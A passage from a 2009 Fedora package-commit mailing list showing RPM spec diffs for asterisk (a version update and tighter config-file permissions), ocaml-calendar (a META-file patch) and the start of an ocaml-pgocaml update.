 rm apps/app_voicemail.o apps/app_directory.o
 mv apps/app_voicemail.so apps/app_voicemail_odbc.so
@@ -481,7 +446,7 @@ mv apps/app_directory.so apps/app_direct
 touch apps/app_voicemail.o apps/app_directory.o
 touch apps/app_voicemail.so apps/app_directory.so
 
-ASTCFLAGS="%{optflags}" make progdocs DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk NOISY_BUILD=1
+ASTCFLAGS="%{optflags}" make progdocs DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk  ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk NOISY_BUILD=1
 
 # fix dates so that we don't get multilib conflicts
 find doc/api/html -type f -print0 | xargs --null touch -r ChangeLog
@@ -489,8 +454,8 @@ find doc/api/html -type f -print0 | xarg
 %install
 rm -rf %{buildroot}
 
-ASTCFLAGS="%{optflags}" make install DEBUG= OPTIMIZE= DESTDIR=%{buildroot} ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk
-ASTCFLAGS="%{optflags}" make samples DEBUG= OPTIMIZE= DESTDIR=%{buildroot} ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk
+ASTCFLAGS="%{optflags}" make install DEBUG= OPTIMIZE= DESTDIR=%{buildroot} ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk
+ASTCFLAGS="%{optflags}" make samples DEBUG= OPTIMIZE= DESTDIR=%{buildroot} ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk
 
 install -D -p -m 0755 contrib/init.d/rc.redhat.asterisk %{buildroot}%{_initrddir}/asterisk
 install -D -p -m 0644 contrib/sysconfig/asterisk %{buildroot}%{_sysconfdir}/sysconfig/asterisk
@@ -501,22 +466,22 @@ install -D -p -m 0644 doc/digium-mib.txt
 
 rm %{buildroot}%{_libdir}/asterisk/modules/app_directory.so
 rm %{buildroot}%{_libdir}/asterisk/modules/app_voicemail.so
-install -D -p -m 0755 apps/app_directory_imap.so %{buildroot}%{_libdir}/asterisk/modules/
-install -D -p -m 0755 apps/app_voicemail_imap.so %{buildroot}%{_libdir}/asterisk/modules/
-install -D -p -m 0755 apps/app_directory_odbc.so %{buildroot}%{_libdir}/asterisk/modules/
-install -D -p -m 0755 apps/app_voicemail_odbc.so %{buildroot}%{_libdir}/asterisk/modules/
-install -D -p -m 0755 apps/app_directory_plain.so %{buildroot}%{_libdir}/asterisk/modules/
-install -D -p -m 0755 apps/app_voicemail_plain.so %{buildroot}%{_libdir}/asterisk/modules/
+install -D -p -m 0755 apps/app_directory_imap.so %{buildroot}%{_libdir}/asterisk/modules
+install -D -p -m 0755 apps/app_voicemail_imap.so %{buildroot}%{_libdir}/asterisk/modules
+install -D -p -m 0755 apps/app_directory_odbc.so %{buildroot}%{_libdir}/asterisk/modules
+install -D -p -m 0755 apps/app_voicemail_odbc.so %{buildroot}%{_libdir}/asterisk/modules
+install -D -p -m 0755 apps/app_directory_plain.so %{buildroot}%{_libdir}/asterisk/modules
+install -D -p -m 0755 apps/app_voicemail_plain.so %{buildroot}%{_libdir}/asterisk/modules
 
 # create some directories that need to be packaged
-mkdir -p %{buildroot}%{_datadir}/asterisk/moh/
-mkdir -p %{buildroot}%{_datadir}/asterisk/sounds/
+mkdir -p %{buildroot}%{_datadir}/asterisk/moh
+mkdir -p %{buildroot}%{_datadir}/asterisk/sounds
 mkdir -p %{buildroot}%{_localstatedir}/lib/asterisk
-mkdir -p %{buildroot}%{_localstatedir}/log/asterisk/cdr-custom/
-mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/festival/
-mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/monitor/
-mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/outgoing/
-mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/uploads/
+mkdir -p %{buildroot}%{_localstatedir}/log/asterisk/cdr-custom
+mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/festival
+mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/monitor
+mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/outgoing
+mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/uploads
 
 # We're not going to package any of the sample AGI scripts
 rm -f %{buildroot}%{_datadir}/asterisk/agi-bin/*
@@ -751,90 +716,92 @@ fi
 %{_mandir}/man8/autosupport.8*
 %{_mandir}/man8/safe_asterisk.8*
 
-%dir %{_sysconfdir}/asterisk
-%config(noreplace) %{_sysconfdir}/asterisk/adsi.conf
-%config(noreplace) %{_sysconfdir}/asterisk/adtranvofr.conf
-%config(noreplace) %{_sysconfdir}/asterisk/agents.conf
-%config(noreplace) %{_sysconfdir}/asterisk/alarmreceiver.conf
-%config(noreplace) %{_sysconfdir}/asterisk/amd.conf
-%config(noreplace) %{_sysconfdir}/asterisk/asterisk.adsi
-%config(noreplace) %{_sysconfdir}/asterisk/asterisk.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cdr.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_custom.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_manager.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cli.conf
-%config(noreplace) %{_sysconfdir}/asterisk/codecs.conf
-%config(noreplace) %{_sysconfdir}/asterisk/dnsmgr.conf
-%config(noreplace) %{_sysconfdir}/asterisk/dsp.conf
-%config(noreplace) %{_sysconfdir}/asterisk/dundi.conf
-%config(noreplace) %{_sysconfdir}/asterisk/enum.conf
-%config(noreplace) %{_sysconfdir}/asterisk/extconfig.conf
-%config(noreplace) %{_sysconfdir}/asterisk/extensions.ael
-%config(noreplace) %{_sysconfdir}/asterisk/extensions.conf
-%config(noreplace) %{_sysconfdir}/asterisk/features.conf
-%config(noreplace) %{_sysconfdir}/asterisk/followme.conf
-%config(noreplace) %{_sysconfdir}/asterisk/h323.conf
-%config(noreplace) %{_sysconfdir}/asterisk/http.conf
-%config(noreplace) %{_sysconfdir}/asterisk/iax.conf
-%config(noreplace) %{_sysconfdir}/asterisk/iaxprov.conf
-%config(noreplace) %{_sysconfdir}/asterisk/indications.conf
-%config(noreplace) %{_sysconfdir}/asterisk/logger.conf
-%config(noreplace) %{_sysconfdir}/asterisk/manager.conf
-%config(noreplace) %{_sysconfdir}/asterisk/mgcp.conf
-%config(noreplace) %{_sysconfdir}/asterisk/modules.conf
-%config(noreplace) %{_sysconfdir}/asterisk/musiconhold.conf
-%config(noreplace) %{_sysconfdir}/asterisk/muted.conf
-%config(noreplace) %{_sysconfdir}/asterisk/osp.conf
-%config(noreplace) %{_sysconfdir}/asterisk/phone.conf
-%config(noreplace) %{_sysconfdir}/asterisk/phoneprov.conf
-%config(noreplace) %{_sysconfdir}/asterisk/queuerules.conf
-%config(noreplace) %{_sysconfdir}/asterisk/queues.conf
-%config(noreplace) %{_sysconfdir}/asterisk/rpt.conf
-%config(noreplace) %{_sysconfdir}/asterisk/rtp.conf
-%config(noreplace) %{_sysconfdir}/asterisk/say.conf
-%config(noreplace) %{_sysconfdir}/asterisk/sip.conf
-%config(noreplace) %{_sysconfdir}/asterisk/sip_notify.conf
-%config(noreplace) %{_sysconfdir}/asterisk/sla.conf
-%config(noreplace) %{_sysconfdir}/asterisk/smdi.conf
-%config(noreplace) %{_sysconfdir}/asterisk/telcordia-1.adsi
-%config(noreplace) %{_sysconfdir}/asterisk/udptl.conf
-%config(noreplace) %{_sysconfdir}/asterisk/users.conf
-%config(noreplace) %{_sysconfdir}/asterisk/vpb.conf
+%attr(0750,asterisk,asterisk) %dir %{_sysconfdir}/asterisk
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/adsi.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/adtranvofr.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/agents.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/alarmreceiver.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/amd.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/asterisk.adsi
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/asterisk.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_custom.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_manager.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cli.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/codecs.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/dnsmgr.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/dsp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/dundi.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/enum.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extconfig.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extensions.ael
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extensions.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/features.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/followme.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/h323.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/http.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/iax.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/iaxprov.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/indications.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/logger.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/manager.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/mgcp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/modules.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/musiconhold.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/muted.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/osp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/phone.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/phoneprov.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/queuerules.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/queues.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/rpt.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/rtp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/say.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/sip.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/sip_notify.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/sla.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/smdi.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/telcordia-1.adsi
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/udptl.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/users.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/vpb.conf
 
 %config(noreplace) %{_sysconfdir}/logrotate.d/asterisk
 
-%dir %{_datadir}/asterisk/
-%dir %{_datadir}/asterisk/agi-bin/
-%{_datadir}/asterisk/images/
-%{_datadir}/asterisk/keys/
-%{_datadir}/asterisk/phoneprov/
-%{_datadir}/asterisk/static-http/
-%dir %{_datadir}/asterisk/moh/
-%dir %{_datadir}/asterisk/sounds/
-
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/lib/asterisk/
-
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/cdr-csv/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/cdr-custom/
-
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/
-%attr(0770,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/monitor/
-%attr(0770,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/outgoing/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/tmp/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/uploads/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/voicemail/
+%dir %{_datadir}/asterisk
+%dir %{_datadir}/asterisk/agi-bin
+%dir %{_datadir}/asterisk/firmware
+%dir %{_datadir}/asterisk/firmware/iax
+%{_datadir}/asterisk/images
+%attr(0750,asterisk,asterisk) %{_datadir}/asterisk/keys
+%{_datadir}/asterisk/phoneprov
+%{_datadir}/asterisk/static-http
+%dir %{_datadir}/asterisk/moh
+%dir %{_datadir}/asterisk/sounds
+
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/lib/asterisk
+
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/cdr-csv
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/cdr-custom
+
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk
+%attr(0770,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/monitor
+%attr(0770,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/outgoing
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/tmp
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/uploads
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/voicemail
 
 %attr(0755,asterisk,asterisk) %dir %{_localstatedir}/run/asterisk
 
 %files ais
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/ais.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/ais.conf
 %{_libdir}/asterisk/modules/res_ais.so
 
 %files alsa
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/alsa.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/alsa.conf
 %{_libdir}/asterisk/modules/chan_alsa.so
 
 %files apidoc
@@ -844,15 +811,15 @@ fi
 %files curl
 %defattr(-,root,root,-)
 %doc contrib/scripts/dbsep.cgi
-%config(noreplace) %{_sysconfdir}/asterisk/dbsep.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/dbsep.conf
 %{_libdir}/asterisk/modules/func_curl.so
 %{_libdir}/asterisk/modules/res_config_curl.so
 %{_libdir}/asterisk/modules/res_curl.so
 
 %files dahdi
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/meetme.conf
-%config(noreplace) %{_sysconfdir}/asterisk/chan_dahdi.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/meetme.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/chan_dahdi.conf
 %{_libdir}/asterisk/modules/app_flash.so
 %{_libdir}/asterisk/modules/app_meetme.so
 %{_libdir}/asterisk/modules/app_page.so
@@ -880,14 +847,10 @@ fi
 
 %files festival
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/festival.conf
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/festival/
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/festival.conf
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/festival
 %{_libdir}/asterisk/modules/app_festival.so
 
-%files firmware
-%defattr(-,root,root,-)
-%{_datadir}/asterisk/firmware/
-
 %files ices
 %defattr(-,root,root,-)
 %doc contrib/asterisk-ices.xml
@@ -897,9 +860,9 @@ fi
 %defattr(-,root,root,-)
 %doc doc/jabber.txt
 %doc doc/jingle.txt
-%config(noreplace) %{_sysconfdir}/asterisk/gtalk.conf
-%config(noreplace) %{_sysconfdir}/asterisk/jabber.conf
-%config(noreplace) %{_sysconfdir}/asterisk/jingle.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/gtalk.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/jabber.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/jingle.conf
 %{_libdir}/asterisk/modules/chan_gtalk.so
 %{_libdir}/asterisk/modules/chan_jingle.so
 %{_libdir}/asterisk/modules/res_jabber.so
@@ -910,13 +873,13 @@ fi
 
 %files lua
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/extensions.lua
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extensions.lua
 %{_libdir}/asterisk/modules/pbx_lua.so
 
 %files ldap
 %defattr(-,root,root,-)
 %doc doc/ldap.txt
-%config(noreplace) %{_sysconfdir}/asterisk/res_ldap.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/res_ldap.conf
 %{_libdir}/asterisk/modules/res_config_ldap.so
 
 %files ldap-fds
@@ -925,21 +888,21 @@ fi
 
 %files minivm
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/extensions_minivm.conf
-%config(noreplace) %{_sysconfdir}/asterisk/minivm.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extensions_minivm.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/minivm.conf
 %{_libdir}/asterisk/modules/app_minivm.so
 
 %files misdn
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/misdn.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/misdn.conf
 %{_libdir}/asterisk/modules/chan_misdn.so
 
 %files odbc
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_adaptive_odbc.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_odbc.conf
-%config(noreplace) %{_sysconfdir}/asterisk/func_odbc.conf
-%config(noreplace) %{_sysconfdir}/asterisk/res_odbc.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_adaptive_odbc.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_odbc.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/func_odbc.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/res_odbc.conf
 %{_libdir}/asterisk/modules/cdr_adaptive_odbc.so
 %{_libdir}/asterisk/modules/cdr_odbc.so
 %{_libdir}/asterisk/modules/func_odbc.so
@@ -948,18 +911,18 @@ fi
 
 %files oss
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/oss.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/oss.conf
 %{_libdir}/asterisk/modules/chan_oss.so
 
 %files portaudio
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/console.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/console.conf
 %{_libdir}/asterisk/modules/chan_console.so
 
 %files postgresql
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_pgsql.conf
-%config(noreplace) %{_sysconfdir}/asterisk/res_pgsql.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_pgsql.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/res_pgsql.conf
 %doc contrib/scripts/realtime_pgsql.sql
 %{_libdir}/asterisk/modules/cdr_pgsql.so
 %{_libdir}/asterisk/modules/res_config_pgsql.so
@@ -970,7 +933,7 @@ fi
 
 %files skinny
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/skinny.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/skinny.conf
 %{_libdir}/asterisk/modules/chan_skinny.so
 
 %files snmp
@@ -978,35 +941,35 @@ fi
 %doc doc/asterisk-mib.txt
 %doc doc/digium-mib.txt
 %doc doc/snmp.txt
-%config(noreplace) %{_sysconfdir}/asterisk/res_snmp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/res_snmp.conf
 %{_datadir}/snmp/mibs/ASTERISK-MIB.txt
 %{_datadir}/snmp/mibs/DIGIUM-MIB.txt
 %{_libdir}/asterisk/modules/res_snmp.so
 
 %files sqlite
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_sqlite3_custom.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_sqlite3_custom.conf
 %{_libdir}/asterisk/modules/cdr_sqlite3_custom.so
 
 %files tds
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_tds.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_tds.conf
 %{_libdir}/asterisk/modules/cdr_tds.so
 
 %files unistim
 %defattr(-,root,root,-)
 %doc doc/unistim.txt
-%config(noreplace) %{_sysconfdir}/asterisk/unistim.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/unistim.conf
 %{_libdir}/asterisk/modules/chan_unistim.so
 
 %files usbradio
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/usbradio.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/usbradio.conf
 %{_libdir}/asterisk/modules/chan_usbradio.so
 
 %files voicemail
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/voicemail.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/voicemail.conf
 %{_libdir}/asterisk/modules/func_vmcount.so
 
 %files voicemail-imap
@@ -1026,6 +989,14 @@ fi
 %{_libdir}/asterisk/modules/app_voicemail_plain.so
 
 %changelog
+* Thu Oct  8 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.1.rc2
+- Update to 1.6.1.7-rc2
+- Merge firmware subpackage back into main package
+- No longer need to strip tarball since it no longer contains any non-free items
+- Tighten up permissions/ownership of config files.
+- Fix up some more paths
+- Drop unneeded patch
+
 * Wed Sep  9 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.6-2
 - Enable building of API docs.
 - Depend on version 1.2 or newer of speex


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-12/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	7 Sep 2009 05:43:14 -0000	1.22
+++ sources	8 Oct 2009 13:23:57 -0000	1.23
@@ -1,3 +1,3 @@
-4f57c6c9fff1bfeb9061679c123f7468  asterisk-1.6.1.6-stripped.tar.gz
-0c07f535bada3bca06d459ed3a416f22  asterisk-1.6.1.6.tar.gz.asc
 dd089905d0ba9a514359dc2cf1a53303  asterisk-developer-pubring.gpg
+c25b294aa92b547fab5484bf436c9dd2  asterisk-1.6.1.7-rc2.tar.gz
+863d39c44b7ea1c6588535f1a56c2b1a  asterisk-1.6.1.7-rc2.tar.gz.asc


--- 0006-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch DELETED ---



From rjones at fedoraproject.org  Thu Oct  8 13:31:17 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 13:31:17 +0000 (UTC)
Subject: rpms/ocaml-calendar/devel ocaml-calendar-2.01.1-META.patch, NONE,
	1.1 ocaml-calendar.spec, 1.16, 1.17
Message-ID: <20091008133117.0EFCA11C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-calendar/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18338

Modified Files:
	ocaml-calendar.spec 
Added Files:
	ocaml-calendar-2.01.1-META.patch 
Log Message:
Patch META file so it doesn't include the library twice.

ocaml-calendar-2.01.1-META.patch:
 Makefile.in |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE ocaml-calendar-2.01.1-META.patch ---
--- calendar-2.01.1/Makefile.in.orig	2009-10-08 14:28:50.633555407 +0100
+++ calendar-2.01.1/Makefile.in	2009-10-08 14:29:07.767560374 +0100
@@ -114,8 +114,8 @@
 META: Makefile
 	echo "description = \"$(NAME) library\"" > $@
 	echo "version = \"$(VERSION)\"" >> $@
-	echo "archive(byte) = \"$(NAMELIB).cmo $(NAMELIB).cma\"" >> $@
-	echo "archive(native) = \"$(NAMELIB).cmx $(NAMELIB).cmxa\"" >> $@
+	echo "archive(byte) = \"$(NAMELIB).cma\"" >> $@
+	echo "archive(native) = \"$(NAMELIB).cmxa\"" >> $@
 	echo "requires = \"unix str\"" >> $@
 
 # Generic rules


Index: ocaml-calendar.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-calendar/devel/ocaml-calendar.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- ocaml-calendar.spec	8 Oct 2009 11:58:23 -0000	1.16
+++ ocaml-calendar.spec	8 Oct 2009 13:31:16 -0000	1.17
@@ -3,7 +3,7 @@
 
 Name:           ocaml-calendar
 Version:        2.01.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Objective Caml library for managing dates and times
 
 Group:          Development/Libraries
@@ -17,6 +17,8 @@ BuildRequires:  ocaml >= 3.10.1
 BuildRequires:  ocaml-findlib-devel, ocaml-ocamldoc
 BuildRequires:  gawk
 
+Patch0:         ocaml-calendar-2.01.1-META.patch
+
 # Ignore all generated modules *except* CalendarLib, since everything
 # now appears in that namespace.
 %define _use_internal_dependency_generator 0
@@ -40,6 +42,7 @@ developing applications that use %{name}
 
 %prep
 %setup -q -n calendar-%{version}
+%patch0 -p1
 
 
 %build
@@ -83,8 +86,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 2.01.1-1
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 2.01.1-2
 - New upstream release 2.01.1.
+- Patch META file so it doesn't include the library twice.
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0.4-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From rjones at fedoraproject.org  Thu Oct  8 13:33:39 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 13:33:39 +0000 (UTC)
Subject: rpms/ocaml-pgocaml/devel .cvsignore, 1.2, 1.3 ocaml-pgocaml.spec,
	1.10, 1.11 sources, 1.2, 1.3
Message-ID: <20091008133339.E9EA711C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-pgocaml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19026

Modified Files:
	.cvsignore ocaml-pgocaml.spec sources 
Log Message:
* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 1.3-1
- New upstream version 1.3.
- Simplify build system.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-pgocaml/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	12 May 2008 19:15:57 -0000	1.2
+++ .cvsignore	8 Oct 2009 13:33:39 -0000	1.3
@@ -1 +1 @@
-pgocaml-1.1.tar.gz
+pgocaml-1.3.tgz


Index: ocaml-pgocaml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-pgocaml/devel/ocaml-pgocaml.spec,v
retrieving revision 1.10
retrieving revision 1.11
